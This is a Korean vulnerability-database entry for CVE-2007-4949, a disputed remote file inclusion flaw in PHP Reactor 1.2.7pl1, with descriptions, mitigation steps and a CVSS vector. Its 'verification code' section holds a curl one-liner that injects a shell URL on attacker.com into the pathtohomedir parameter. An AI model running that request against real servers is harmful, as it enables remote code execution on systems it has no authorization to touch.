🔍 CVE-2007-4949

6.8
CVSS Score
MEDIUM
2007-09-18
2026-04-23 00:35
✅ 완료

🇰🇷 한글 설명

PHP Reactor 1.2.7pl1의 pathtohomedir 파라미터를 통한 원격 파일 포함 취약점으로, examples/ 디렉토리가 웹 루트 아래에 잘못 배치된 경우 원격 공격자가 임의의 PHP 코드를 실행할 수 있습니다. 여러 템플릿 파일(ekilat.com-int.tpl.php, phpreactor.org-top.tpl.php, ekilat.com-top.tpl.php)이 영향을 받습니다.

💡 쉬운 설명

PHP Reactor라는 소프트웨어가 잘못 설치되면, 공격자가 외부 파일을 불러와서 악의적인 코드를 실행할 수 있습니다. 설치 과정에서 폴더 위치를 잘못 설정해야만 이 문제가 발생합니다.

🇺🇸 원문 (English)

Multiple PHP remote file inclusion vulnerabilities in php(Reactor) 1.2.7pl1 allow remote attackers to execute arbitrary PHP code via a URL in the pathtohomedir parameter to (1) ekilat.com-int.tpl.php, (2) phpreactor.org-top.tpl.php, or (3) ekilat.com-top.tpl.php in examples/. NOTE: this issue has been disputed by CVE, since the vulnerability is present only when the product is incorrectly installed by placing examples/ under the web root

📍 영향받는 시스템

PHP Reactor 1.2.7pl1 (examples/ 디렉토리가 웹 루트 아래에 위치할 경우)

⚔️ 공격 벡터

GET/POST 요청의 pathtohomedir 파라미터에 원격 PHP 파일 URL을 삽입하여 임의 코드 실행

🛡️ 대응 방법

examples/ 디렉토리를 웹 루트 외부로 이동하거나 .htaccess로 웹 접근 차단; PHP 버전 업데이트

🔧 검증 코드

대상 서버의 examples/ 폴더 웹 접근 가능 여부와 RFI 파라미터 처리 여부를 확인; 에러 메시지나 외부 콘텐츠 로드 시도가 보이면 취약

Shell / Script
curl -s http://target/examples/ekilat.com-int.tpl.php?pathtohomedir=http://attacker.com/shell.php 2>&1 | head -5

📊 CVSS Vector String

CVSS Vector
AV:N/AC:M/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP